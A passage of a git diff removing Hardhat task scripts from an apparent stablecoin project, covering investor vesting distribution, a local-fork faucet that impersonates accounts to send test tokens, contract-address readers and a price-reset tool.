"SmallCapScience" - }, - { - "percent": 0.0125, - "address": "0x7e9e4c0876B2102F33A1d82117Cc73B7FddD0032", - "name": "Merit Circle" - }, - { - "percent": 0.00125, - "address": "0x19f9dDA57196e161E8e943Bb0766C150F05FA3D5", - "name": "Balthazar" - }, - { - "percent": 0.0025, - "address": "0xc2808A5AC8E8E6eD10374af596682F547DB045c1", - "name": "369 Capital" - }, - { - "percent": 0.0025, - "address": "0xE30221bA49E6d2eF1bCE23bB7262A1aE5f3ffB99", - "name": "NewTribe Capital" - }, - { - "percent": 0.005, - "address": "0xe945884500983bFa761A7Ba0C15da22FFC58FF83", - "name": "Snackclub" - }, - { - "percent": 0.005, - "address": "0x4a67118b4A689250977dc3A9D0f575f548B04929", - "name": "c2 Ventures" - }, - { - "percent": 0.005, - "address": "0xE4fA5D83b2c982637895aB541D12A7d093AD77ab", - "name": "Play Ventures" - } -] diff --git a/packages/contracts/dollar/tasks/library/distributor/index.ts b/packages/contracts/dollar/tasks/library/distributor/index.ts deleted file mode 100644 index 57d60f238..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/index.ts +++ /dev/null @@ -1,54 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { calculateOwedUbqEmissions } from "./calculate-owed-emissions"; -import { getInvestors } from "./distributor-library/getInvestors"; -import transferFilter from "./distributor-library/log-filters/transfers"; -import { Tranche, transfersToInvestorsFilterWrapper } from "./distributor-library/log-filters/transfers-to-investors"; -import { readContractTransactionHistory } from "./distributor-library/read-contract-transaction-history"; -import { InvestorWithTransfers } from "./distributor-library/investor-types"; -const vestingRange = ["2022-05-01T00:00:00.000Z", "2024-05-01T00:00:00.000Z"]; - -/** - * distributor needs to do the following: - * * 1. load the investors from a json file - * * 2. verify the amount sent to each recipient within the vesting range - * * 3. distribute according to the vesting schedule to each recipient, and subtract the amount already sent - * * 4. transfer the tokens to each recipient - */ - -interface TaskArgs { - investors: string; // path to json file containing a list of investors - token: string; // address of the token -} - -export async function _distributor(taskArgs: TaskArgs, hre: HardhatRuntimeEnvironment) { - console.log(" getting investors..."); - const investors = await getInvestors(taskArgs.investors); // 1 - console.log(investors); - - console.log(" getting transactionHistories..."); - const transactionHistories = await readContractTransactionHistory(taskArgs.token, vestingRange); - console.log(transactionHistories); - - const transfersToAnybody = transactionHistories.filter(transferFilter); - const transfersToInvestorsFilter = transfersToInvestorsFilterWrapper(investors); - - console.log(" getting tranches..."); - const tranches = transfersToAnybody.map(transfersToInvestorsFilter).filter(Boolean) as Tranche[]; - console.log(tranches); - - console.log(" getting owed..."); - const owed = await calculateOwedUbqEmissions(investors, tranches, hre); - console.log(owed); - - console.log(displayInDisperseAppFriendlyFormat(owed).join("\n")); - - return owed; -} - -type Owed = ({ - owed: number; -} & InvestorWithTransfers)[]; - -function displayInDisperseAppFriendlyFormat(owed: Owed) { - return owed.map((owe) => [owe.address, owe.owed].join(", ")); -} diff --git a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/_checkMay1StartingSupply.ts b/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/_checkMay1StartingSupply.ts deleted file mode 100644 index 13a276e85..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/_checkMay1StartingSupply.ts +++ /dev/null @@ -1,24 +0,0 @@ -// import { HardhatRuntimeEnvironment } from "hardhat/types/runtime"; -// import { vestingRange } from ".."; -// import { contracts } from "../../../../../fixtures/ubiquity-dollar-deployment.json"; -// import { UbiquityGovernance } from "../../../../artifacts/types/UbiquityGovernance"; -// import blockHeightDater from "../utils/block-height-dater"; -// import { verifyMinMaxBlockHeight } from "../utils/distributor-helpers"; -// import { setBlockHeight } from "./setBlockHeight"; - -// async function checkMay1StartingSupply(hre: HardhatRuntimeEnvironment) { -// const timestampsDated = await blockHeightDater(vestingRange); // "2022-05-01T00:00:00.000Z" // this should only be one date instead of a range (two) -// const range = await verifyMinMaxBlockHeight(timestampsDated); -// const startingBlock = range[0]?.block; -// await setBlockHeight(hre.network, startingBlock); -// const ubqToken = (await getContractInstance("UbiquityGovernance")) as UbiquityGovernance; -// const totalStartingSupply = hre.ethers.utils.formatEther(await ubqToken.totalSupply()); -// return totalStartingSupply; // 14688630 - -// async function getContractInstance(name: keyof typeof contracts) { -// if (!contracts[name]) { -// throw new Error(`Contract ${name} not found in list ${Object.keys(contracts)}`); -// } -// return await hre.ethers.getContractAt(name, contracts[name].address); -// } -// } diff --git a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/getTotalSupply.ts b/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/getTotalSupply.ts deleted file mode 100644 index 6a4c51fb2..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/getTotalSupply.ts +++ /dev/null @@ -1,18 +0,0 @@ -import { HardhatEthersHelpers } from "@nomiclabs/hardhat-ethers/types"; -import { UbiquityAlgorithmicDollarManager } from "../../../../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UbiquityGovernance } from "../../../../artifacts/types/UbiquityGovernance"; - -interface GetTotalSupply { - ethers: typeof import("ethers/lib/ethers") & HardhatEthersHelpers; -} - -export async function getTotalSupply({ ethers }: GetTotalSupply) { - const manager = (await ethers.getContractAt( - "UbiquityAlgorithmicDollarManager", - "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98" - )) as UbiquityAlgorithmicDollarManager; - const ubqTokenAddress = await manager.governanceTokenAddress(); - const ubqToken = (await ethers.getContractAt("UbiquityGovernance", ubqTokenAddress)) as UbiquityGovernance; - const totalSupply = ethers.utils.formatEther(await ubqToken.totalSupply()); - return parseInt(totalSupply); -} diff --git a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/setBlockHeight.ts b/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/setBlockHeight.ts deleted file mode 100644 index fe146a169..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/setBlockHeight.ts +++ /dev/null @@ -1,19 +0,0 @@ -import { Network } from "hardhat/types"; -import { getAlchemyRpc } from "../../../hardhat.config"; - -export async function setBlockHeight(network: Network, blockHeight: number) { - console.log(`Setting block height to ${blockHeight}...`); - const response = await network.provider.request({ - method: "hardhat_reset", - params: [ - { - forking: { - jsonRpcUrl: getAlchemyRpc("mainnet"), - blockNumber: blockHeight, - }, - }, - ], - }); - console.log(`...done!`); - return response; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/sumTotalSentToContacts.ts b/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/sumTotalSentToContacts.ts deleted file mode 100644 index d21b68c1e..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/sumTotalSentToContacts.ts +++ /dev/null @@ -1,30 +0,0 @@ -import { Investor, InvestorWithTransfers } from "../distributor-library/investor-types"; -import { Tranche } from "../distributor-library/log-filters/transfers-to-investors"; - -export async function sumTotalSentToContacts(Investors: Investor[], tranches: Tranche[]): Promise { - const transferAmounts = [] as InvestorWithTransfers[]; - for (const investor of Investors) { - transferAmounts.push(getTransferAmounts(investor, tranches)); - } - return transferAmounts; -} - -function getTransferAmounts(investor: Investor, tranches: Tranche[]) { - const investorWithTransfers = Object.assign({}, investor) as InvestorWithTransfers; - tranches.forEach((tranche: Tranche) => { - if (!investorWithTransfers.transferred) { - investorWithTransfers.transferred = 0; - } - - if (!investorWithTransfers.transactions) { - investorWithTransfers.transactions = []; - } - - if (tranche.name === investorWithTransfers.name) { - investorWithTransfers.transferred += tranche.amount; - investorWithTransfers.transactions.push(tranche.hash); - } - }); - - return investorWithTransfers; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/vestingMath.ts b/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/vestingMath.ts deleted file mode 100644 index da21a19fe..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/owed-emissions-library/vestingMath.ts +++ /dev/null @@ -1,26 +0,0 @@ -import { warn } from "../../../../hardhat-config/utils/warn"; -interface VestingMath { - investorAllocationPercentage: number; - totalSupplyCached: number; -} - -export function vestingMath({ investorAllocationPercentage, totalSupplyCached }: VestingMath) { - // below comments written on 7 june 2022 - // investorAllocationPercentage = 0.1 - const may2022 = 1651363200000; - const may2024 = 1714521600000; - - const msTotal = may2024 - may2022; // 63158400000 - const msSinceStart = Date.now() - may2022; // 3177932875; - let percentVested = msSinceStart / msTotal; // 0.05031686799 - - if (percentVested > 1) { - percentVested = 1; - warn(`Vesting completed, capping percentVested to 100%`); - } - - const shareOfTotalSupply = totalSupplyCached * investorAllocationPercentage; - - const investorShouldGet = shareOfTotalSupply * percentVested; - return investorShouldGet; // 18,487.0939406307 -} diff --git a/packages/contracts/dollar/tasks/library/faucet.ts b/packages/contracts/dollar/tasks/library/faucet.ts deleted file mode 100644 index 3b4d94af0..000000000 --- a/packages/contracts/dollar/tasks/library/faucet.ts +++ /dev/null @@ -1,16 +0,0 @@ -import "@nomiclabs/hardhat-waffle"; -import "hardhat-deploy"; - -import { ActionType } from "hardhat/types"; - -import { types } from "hardhat/config"; -import faucet from "./faucet/"; - -export const accountWithWithdrawableBond = "0x4007ce2083c7f3e18097aeb3a39bb8ec149a341d"; - -export const description = "Sends ETH and tokens to an address"; -export const optionalParam = { - receiver: ["The address that will receive them", accountWithWithdrawableBond, types.string], - manager: ["The address of uAD Manager", "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", types.string], -}; -export const action = (): ActionType => faucet; diff --git a/packages/contracts/dollar/tasks/library/faucet/index.ts b/packages/contracts/dollar/tasks/library/faucet/index.ts deleted file mode 100644 index 9d10af011..000000000 --- a/packages/contracts/dollar/tasks/library/faucet/index.ts +++ /dev/null @@ -1,102 +0,0 @@ -import { BigNumber } from "ethers"; -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { ERC20 } from "../../../artifacts/types"; -import { BondingShareV2 } from "../../../artifacts/types/BondingShareV2"; -import { UbiquityAlgorithmicDollarManager } from "../../../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { accountWithWithdrawableBond } from "../faucet"; -const NETWORK_ADDRESS = "http://localhost:8545"; -export default async function faucet(taskArgs: { receiver: string | null; manager: string | null }, { ethers, getNamedAccounts }: HardhatRuntimeEnvironment) { - const net = await ethers.provider.getNetwork(); - if (net.name === "hardhat") { - console.warn( - "You are running the faucet task with Hardhat network, which" + - "gets automatically created and destroyed every time. Use the Hardhat" + - " option '--network localhost'" - ); - } - console.log(`net chainId: ${net.chainId} `); - - // Gotta use this provider otherwise impersonation doesn't work - // https://github.com/nomiclabs/hardhat/issues/1226#issuecomment-924352129 - const provider = new ethers.providers.JsonRpcProvider(NETWORK_ADDRESS); - - const { - UbiquityAlgorithmicDollarManagerAddress: namedManagerAddress, - ubq: namedTreasuryAddress, - usdcWhaleAddress, - USDC: usdcTokenAddress, - // curve3CrvToken: namedCurve3CrvAddress, - } = await getNamedAccounts(); - - console.log(namedManagerAddress, namedTreasuryAddress); - - const managerAddress = taskArgs.manager || namedManagerAddress; - const [firstAccount] = await ethers.getSigners(); - const receiverAddress = taskArgs.receiver || firstAccount.address; - - await provider.send("hardhat_impersonateAccount", [namedTreasuryAddress]); - await provider.send("hardhat_impersonateAccount", [accountWithWithdrawableBond]); - await provider.send("hardhat_impersonateAccount", [usdcWhaleAddress]); - const treasuryAccount = provider.getSigner(namedTreasuryAddress); - const accountWithWithdrawableBondAccount = provider.getSigner(accountWithWithdrawableBond); - const usdcWhaleAccount = provider.getSigner(usdcWhaleAddress); - - console.log("Manager address: ", managerAddress); - console.log("Treasury address: ", namedTreasuryAddress); - console.log("Receiver address:", receiverAddress); - - const manager = (await ethers.getContractAt("UbiquityAlgorithmicDollarManager", managerAddress, treasuryAccount)) as UbiquityAlgorithmicDollarManager; - - const uADToken = (await ethers.getContractAt("ERC20", await manager.dollarTokenAddress(), treasuryAccount)) as ERC20; - - const uARToken = (await ethers.getContractAt("ERC20", await manager.autoRedeemTokenAddress(), treasuryAccount)) as ERC20; - - const curveLPToken = (await ethers.getContractAt("ERC20", await manager.stableSwapMetaPoolAddress(), treasuryAccount)) as ERC20; - - const usdcToken = (await ethers.getContractAt("ERC20", usdcTokenAddress, usdcWhaleAccount)) as ERC20; - - const gelatoUadUsdcLpToken = (await ethers.getContractAt("ERC20", "0xA9514190cBBaD624c313Ea387a18Fd1dea576cbd", treasuryAccount)) as ERC20; - - // const crvToken = (await ethers.getContractAt( - // "ERC20", - // namedCurve3CrvAddress, - // treasuryAccount - // )) as ERC20; - const ubqToken = (await ethers.getContractAt("ERC20", await manager.governanceTokenAddress(), treasuryAccount)) as ERC20; - - const bondingShareToken = (await ethers.getContractAt( - "BondingShareV2", - await manager.bondingShareAddress(), - accountWithWithdrawableBondAccount - )) as BondingShareV2; - - const bondingShareId = (await bondingShareToken.holderTokens(accountWithWithdrawableBond))[0]; - - const bondingShareBalance = +(await bondingShareToken.balanceOf(accountWithWithdrawableBond, bondingShareId)).toString(); // Either 1 or 0 - - if (bondingShareBalance > 0) { - await bondingShareToken.safeTransferFrom(accountWithWithdrawableBond, receiverAddress, bondingShareId, ethers.BigNumber.from(1), []); - - console.log(`Transferred withdrawable bonding share token from ${bondingShareId.toString()} from ${accountWithWithdrawableBond}`); - } else { - console.log("Tried to transfer a withdrawable bonding share token but couldn't"); - } - - const transfer = async (name: string, token: ERC20, amount: BigNumber) => { - console.log(`${name}: ${token.address}`); - const tx = await token.transfer(receiverAddress, amount); - console.log(` Transferred ${ethers.utils.formatEther(amount)} ${name} from ${tx.from}`); - }; - - await transfer("G-UNI uAD/USDC LP", gelatoUadUsdcLpToken, ethers.utils.parseEther("2")); - await transfer("uAD", uADToken, ethers.utils.parseEther("1000")); - await transfer("uAR", uARToken, ethers.utils.parseEther("1000")); - // await transfer( - // "uAD3CRV-f", - // curveLPToken, - // ethers.utils.parseEther("1000") - // ); - // await transfer("3CRV", crvToken, 1000); - await transfer("UBQ", ubqToken, ethers.utils.parseEther("1000")); - await transfer("USDC", usdcToken, ethers.utils.parseUnits("1000", 6)); -} diff --git a/packages/contracts/dollar/tasks/library/incentive.ts b/packages/contracts/dollar/tasks/library/incentive.ts deleted file mode 100644 index 7b4216c9a..000000000 --- a/packages/contracts/dollar/tasks/library/incentive.ts +++ /dev/null @@ -1,37 +0,0 @@ -import "@nomiclabs/hardhat-waffle"; - -import { ActionType } from "hardhat/types"; -import { CurveUADIncentive } from "../../artifacts/types/CurveUADIncentive"; -import { UbiquityAlgorithmicDollar } from "../../artifacts/types/UbiquityAlgorithmicDollar"; -import { UbiquityAlgorithmicDollarManager } from "../../artifacts/types/UbiquityAlgorithmicDollarManager"; - -export const description = "Sends ETH and tokens to an address"; -export const action = - (): ActionType => - async (taskArgs: { receiver: string; manager: string }, { ethers }) => { - const net = await ethers.provider.getNetwork(); - - if (net.name === "hardhat") { - console.warn("You are running the task with Hardhat network"); - } - console.log(`net chainId: ${net.chainId} `); - const manager = (await ethers.getContractAt( - "UbiquityAlgorithmicDollarManager", - "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98" - )) as UbiquityAlgorithmicDollarManager; - const uADAdr = await manager.dollarTokenAddress(); - - const uAD = (await ethers.getContractAt("UbiquityAlgorithmicDollar", uADAdr)) as UbiquityAlgorithmicDollar; - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - const incentive = await uAD.incentiveContract(metaPoolAddr); - const curveIncentive = (await ethers.getContractAt("CurveUADIncentive", incentive)) as CurveUADIncentive; - - console.log("curveIncentive at:", incentive); - - const isSellPenaltyOn = await curveIncentive.isSellPenaltyOn(); - const isBuyIncentiveOn = await curveIncentive.isBuyIncentiveOn(); - console.log(` - isSellPenaltyOn: ${isSellPenaltyOn ? "True" : "False"} - isBuyIncentiveOn: ${isBuyIncentiveOn ? "True" : "False"} - `); - }; diff --git a/packages/contracts/dollar/tasks/library/manager.ts b/packages/contracts/dollar/tasks/library/manager.ts deleted file mode 100644 index ea87b3a6c..000000000 --- a/packages/contracts/dollar/tasks/library/manager.ts +++ /dev/null @@ -1,59 +0,0 @@ -import "@nomiclabs/hardhat-waffle"; -import { ActionType, HardhatRuntimeEnvironment } from "hardhat/types"; -import { UbiquityAlgorithmicDollarManager } from "../../artifacts/types/UbiquityAlgorithmicDollarManager"; -// This file is only here to make interacting with the Dapp easier, -// feel free to ignore it if you don't need it. - -export const description = "Get info about manager contract's address"; -export const action = - (): ActionType => - async (_taskArgs, { ethers }: HardhatRuntimeEnvironment) => { - const net = await ethers.provider.getNetwork(); - const managerAdr = "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"; - const debtCouponMgrAdr = "0x432120Ad63779897A424f7905BA000dF38A74554"; - if (net.name === "hardhat") { - console.warn("You are running the task with Hardhat network"); - } - console.log(`net chainId: ${net.chainId} `); - const manager = (await ethers.getContractAt("UbiquityAlgorithmicDollarManager", managerAdr)) as UbiquityAlgorithmicDollarManager; - const mgrtwapOracleAddress = await manager.twapOracleAddress(); - const mgrdebtCouponAddress = await manager.debtCouponAddress(); - const mgrDollarTokenAddress = await manager.dollarTokenAddress(); - const mgrcouponCalculatorAddress = await manager.couponCalculatorAddress(); - const mgrdollarMintingCalculatorAddress = await manager.dollarMintingCalculatorAddress(); - const mgrbondingShareAddress = await manager.bondingShareAddress(); - const mgrbondingContractAddress = await manager.bondingContractAddress(); - const mgrstableSwapMetaPoolAddress = await manager.stableSwapMetaPoolAddress(); - const mgrcurve3PoolTokenAddress = await manager.curve3PoolTokenAddress(); // 3CRV - const mgrtreasuryAddress = await manager.treasuryAddress(); - const mgruGOVTokenAddress = await manager.governanceTokenAddress(); - const mgrsushiSwapPoolAddress = await manager.sushiSwapPoolAddress(); // sushi pool uAD-uGOV - const mgrmasterChefAddress = await manager.masterChefAddress(); - const mgrformulasAddress = await manager.formulasAddress(); - const mgrautoRedeemTokenAddress = await manager.autoRedeemTokenAddress(); // uAR - const mgruarCalculatorAddress = await manager.uarCalculatorAddress(); // uAR calculator - - const mgrExcessDollarsDistributor = await manager.getExcessDollarsDistributor(debtCouponMgrAdr); - console.log(` - **** - debtCouponMgr:${debtCouponMgrAdr} - manager ALL VARS: - mgrtwapOracleAddress:${mgrtwapOracleAddress} - debtCouponAddress:${mgrdebtCouponAddress} - uADTokenAddress:${mgrDollarTokenAddress} - couponCalculatorAddress:${mgrcouponCalculatorAddress} - dollarMintingCalculatorAddress:${mgrdollarMintingCalculatorAddress} - bondingShareAddress:${mgrbondingShareAddress} - bondingContractAddress:${mgrbondingContractAddress} - stableSwapMetaPoolAddress:${mgrstableSwapMetaPoolAddress} - curve3PoolTokenAddress:${mgrcurve3PoolTokenAddress} - treasuryAddress:${mgrtreasuryAddress} - uGOVTokenAddress:${mgruGOVTokenAddress} - sushiSwapPoolAddress:${mgrsushiSwapPoolAddress} - masterChefAddress:${mgrmasterChefAddress} - formulasAddress:${mgrformulasAddress} - autoRedeemTokenAddress:${mgrautoRedeemTokenAddress} - uarCalculatorAddress:${mgruarCalculatorAddress} - ExcessDollarsDistributor:${mgrExcessDollarsDistributor} - `); - }; diff --git a/packages/contracts/dollar/tasks/library/price-reset-i.ts b/packages/contracts/dollar/tasks/library/price-reset-i.ts deleted file mode 100644 index 6bd4ee087..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-i.ts +++ /dev/null @@ -1,21 +0,0 @@ -import "@nomiclabs/hardhat-waffle"; -import { types } from "hardhat/config"; -import { priceResetter } from "./price-reset-i/index"; - -export interface TaskArgs { - amount: string; - pushHigher: boolean; - dryRun: boolean; - blockHeight: number; -} - -export const description = "PriceReset can push uAD price lower or higher by burning LP token for uAD or 3CRV from the bonding contract"; -export const params = { - amount: "The amount of uAD-3CRV LP token to be withdrawn", -}; -export const optionalParam = { - pushHigher: ["if false will withdraw 3CRV to push uAD price lower", true, types.boolean], - dryRun: ["if false will use account 0 to execute price reset", true, types.boolean], - blockHeight: ["block height for the fork", 13135453, types.int], -}; -export const action = priceResetter; diff --git a/packages/contracts/dollar/tasks/library/price-reset-i/afterBalances.ts b/packages/contracts/dollar/tasks/library/price-reset-i/afterBalances.ts deleted file mode 100644 index b42aea959..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-i/afterBalances.ts +++ /dev/null @@ -1,44 +0,0 @@ -import { BigNumber, ethers } from "ethers"; -import { ERC20 } from "../../../artifacts/types/ERC20"; -import { IMetaPool } from "../../../artifacts/types/IMetaPool"; -import { UbiquityAlgorithmicDollar } from "../../../artifacts/types/UbiquityAlgorithmicDollar"; - -interface Params { - uAD: UbiquityAlgorithmicDollar; - treasuryAddr: string; - curveToken: ERC20; - metaPool: IMetaPool; - bondingAddr: string; - ethers: typeof ethers; - LPBal: string; - crvTreasuryBalanceBefore: BigNumber; - uadTreasuryBalanceBefore: BigNumber; -} - -export async function afterBalances({ - uAD, - treasuryAddr, - curveToken, - metaPool, - bondingAddr, - ethers, - LPBal, - crvTreasuryBalanceBefore, - uadTreasuryBalanceBefore, -}: Params) { - const uadTreasuryBalanceAfter = await uAD.balanceOf(treasuryAddr); - const crvTreasuryBalanceAfter = await curveToken.balanceOf(treasuryAddr); - const metaPoolLPBalanceAfter = await metaPool.balanceOf(bondingAddr); - const LPBalAfter = ethers.utils.formatEther(metaPoolLPBalanceAfter); - console.log(`from ${LPBal} to ${LPBalAfter} uAD-3CRV LP token - `); - - const crvTreasuryBalanceBeforeStr = ethers.utils.formatEther(crvTreasuryBalanceBefore); - const crvTreasuryBalanceAfterStr = ethers.utils.formatEther(crvTreasuryBalanceAfter); - console.log(`Treasury 3CRV balance from ${crvTreasuryBalanceBeforeStr} to ${crvTreasuryBalanceAfterStr} - `); - const balTreasuryUadBeforeStr = ethers.utils.formatEther(uadTreasuryBalanceBefore); - const balTreasuryUadAfterStr = ethers.utils.formatEther(uadTreasuryBalanceAfter); - console.log(`Treasury uAD balance from ${balTreasuryUadBeforeStr} to ${balTreasuryUadAfterStr} - `); -} diff --git a/packages/contracts/dollar/tasks/library/price-reset-i/balancesAndCalculations.ts b/packages/contracts/dollar/tasks/library/price-reset-i/balancesAndCalculations.ts deleted file mode 100644 index 20d050b61..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-i/balancesAndCalculations.ts +++ /dev/null @@ -1,27 +0,0 @@ -import { ethers } from "ethers"; -import { ERC20 } from "../../../artifacts/types/ERC20"; -import { IMetaPool } from "../../../artifacts/types/IMetaPool"; -import { UbiquityAlgorithmicDollar } from "../../../artifacts/types/UbiquityAlgorithmicDollar"; - -interface Params { - uAD: UbiquityAlgorithmicDollar; - treasuryAddr: string; - curveToken: ERC20; - metaPool: IMetaPool; - bondingAddr: string; - ethers: typeof ethers; - amount: any; -} - -export async function balancesAndCalculations({ uAD, treasuryAddr, curveToken, metaPool, bondingAddr, ethers, amount }: Params) { - const uadTreasuryBalanceBefore = await uAD.balanceOf(treasuryAddr), - crvTreasuryBalanceBefore = await curveToken.balanceOf(treasuryAddr), - bondingMetaPoolLPBalanceBefore = await metaPool.balanceOf(bondingAddr), - LPBal = ethers.utils.formatEther(bondingMetaPoolLPBalanceBefore), - expectedUAD = await metaPool["calc_withdraw_one_coin(uint256,int128)"](amount, 0), - expectedUADStr = ethers.utils.formatEther(expectedUAD), - expectedCRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](amount, 1), - expectedCRVStr = ethers.utils.formatEther(expectedCRV); - - return { LPBal, expectedUADStr, expectedCRVStr, crvTreasuryBalanceBefore, uadTreasuryBalanceBefore }; -} diff --git a/packages/contracts/dollar/tasks/library/price-reset-i/dryRunner.ts b/packages/contracts/dollar/tasks/library/price-reset-i/dryRunner.ts deleted file mode 100644 index cc4224c9c..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-i/dryRunner.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { Signer } from "ethers"; -import { TaskArgs } from "../price-reset-i"; - -const ADMIN_WALLET = "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd"; - -interface Params { - resetFork: (blockNumber: number) => Promise; - taskArgs: TaskArgs; - network: any; - ethers: any; -} - -export async function dryRunner({ resetFork, taskArgs, network, ethers }: Params) { - await resetFork(taskArgs.blockHeight); - const impersonate = async (account: string): Promise => { - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [account], - }); - return ethers.provider.getSigner(account); - }; - const admin = await impersonate(ADMIN_WALLET); - return { adminAdr: ADMIN_WALLET, admin }; -} diff --git a/packages/contracts/dollar/tasks/library/price-reset-i/getAddresses.ts b/packages/contracts/dollar/tasks/library/price-reset-i/getAddresses.ts deleted file mode 100644 index c608d2641..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-i/getAddresses.ts +++ /dev/null @@ -1,34 +0,0 @@ -import { BondingV2 } from "../../../artifacts/types/BondingV2"; -import { ERC20 } from "../../../artifacts/types/ERC20"; -import { IMetaPool } from "../../../artifacts/types/IMetaPool"; -import { UbiquityAlgorithmicDollar } from "../../../artifacts/types/UbiquityAlgorithmicDollar"; -import { UbiquityAlgorithmicDollarManager } from "../../../artifacts/types/UbiquityAlgorithmicDollarManager"; - -export async function getAddresses({ getNamedAccounts, net, ethers }: { getNamedAccounts: any; net: any; ethers: any }) { - let curve3CrvToken = ""; - ({ curve3CrvToken } = await getNamedAccounts()); - if (net.name === "hardhat") { - console.warn("You are running the task with Hardhat network"); - } - console.log(`net chainId: ${net.chainId} `); - const manager = (await ethers.getContractAt( - "UbiquityAlgorithmicDollarManager", - "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98" - )) as UbiquityAlgorithmicDollarManager; - const uADAdr = await manager.dollarTokenAddress(); - const uAD = (await ethers.getContractAt("UbiquityAlgorithmicDollar", uADAdr)) as UbiquityAlgorithmicDollar; - const curveToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - const treasuryAddr = await manager.treasuryAddress(); - console.log(`---treasury Address:${treasuryAddr} `); - const bondingAddr = await manager.bondingContractAddress(); - console.log(`---bonding Contract Address:${bondingAddr} `); - const bonding = (await ethers.getContractAt("BondingV2", bondingAddr)) as BondingV2; - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - console.log(`---metaPoolAddr:${metaPoolAddr} `); - const metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - const curveFactory = ""; - const DAI = ""; - const USDC = ""; - const USDT = ""; - return { curveFactory, DAI, USDC, USDT, uAD, treasuryAddr, curveToken, metaPool, bondingAddr, manager, curve3CrvToken, bonding }; -} diff --git a/packages/contracts/dollar/tasks/library/price-reset-i/index.ts b/packages/contracts/dollar/tasks/library/price-reset-i/index.ts deleted file mode 100644 index 4864333b2..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-i/index.ts +++ /dev/null @@ -1,165 +0,0 @@ -/* eslint-disable */ -import { Signer } from "ethers"; -import "hardhat-deploy"; -import { ActionType } from "hardhat/types"; -import { ICurveFactory } from "../../../artifacts/types/ICurveFactory"; -import { TWAPOracle } from "../../../artifacts/types/TWAPOracle"; -import pressAnyKey from "../../utils/flow"; -import { afterBalances } from "./afterBalances"; -import { balancesAndCalculations } from "./balancesAndCalculations"; -import { dryRunner } from "./dryRunner"; -import { getAddresses } from "./getAddresses"; -import { read3crvInfo } from "./read3crvInfo"; -import { setDefaultParams } from "./setDefaultParams"; -import { TaskArgs } from "../price-reset-i"; - -export const priceResetter = - (): ActionType => - async (taskArgs: TaskArgs, { ethers, network, getNamedAccounts }) => { - setDefaultParams(taskArgs); - - const net = await ethers.provider.getNetwork(); - const resetFork = async (blockNumber: number): Promise => { - await network.provider.request({ - method: "hardhat_reset", - params: [{ forking: { jsonRpcUrl: `https://eth-mainnet.alchemyapi.io/v2/${process.env.API_KEY_ALCHEMY || ""}`, blockNumber } }], - }); - }; - - let admin: Signer; - let adminAdr: string; - - if (taskArgs.dryRun) { - ({ adminAdr, admin } = await dryRunner({ resetFork, taskArgs, network, ethers })); - } else { - const accounts = await ethers.getSigners(); - adminAdr = await accounts[0].getAddress(); - [admin] = accounts; - } - - const amount = ethers.utils.parseEther(taskArgs.amount); - console.log(`---account addr:${adminAdr} `); - let { curveFactory, DAI, USDC, USDT, uAD, treasuryAddr, curveToken, metaPool, bondingAddr, manager, curve3CrvToken, bonding } = await getAddresses({ - getNamedAccounts, - net, - ethers, - }); - ({ curveFactory, DAI, USDC, USDT } = await getNamedAccounts()); - const curvePoolFactory = (await ethers.getContractAt("ICurveFactory", curveFactory)) as ICurveFactory; - const { LPBal, expectedUADStr, expectedCRVStr, crvTreasuryBalanceBefore, uadTreasuryBalanceBefore } = await balancesAndCalculations({ - uAD, - treasuryAddr, - curveToken, - metaPool, - bondingAddr, - ethers, - amount, - }); - - let coinIndex = 0; - if (taskArgs.pushHigher) { - console.warn(`we will remove :${taskArgs.amount} uAD-3CRV LP token from ${LPBal} uAD3CRV balance - sitting inside the bonding contract for an expected ${expectedUADStr} uAD unilateraly - This will have the immediate effect of - pushing the uAD price HIGHER`); - } else { - console.warn(`we will remove :${taskArgs.amount} uAD-3CRV LP token from ${LPBal} uAD3CRV balance - sitting inside the bonding contract for an expected ${expectedCRVStr} 3CRV unilateraly - This will have the immediate effect of - pushing the uAD price LOWER`); - coinIndex = 1; - } - let { dyDAI2USDT, dyuAD2USDC, dyuAD2DAI, dyuAD2USDT, indices, indices2 } = await read3crvInfo({ curvePoolFactory, metaPool, DAI, USDT, uAD, USDC, ethers }); - - const mgrtwapOracleAddress = await manager.twapOracleAddress(); - const twapOracle = (await ethers.getContractAt("TWAPOracle", mgrtwapOracleAddress)) as TWAPOracle; - let oraclePriceuAD = await twapOracle.consult(uAD.address); - let oraclePrice3Crv = await 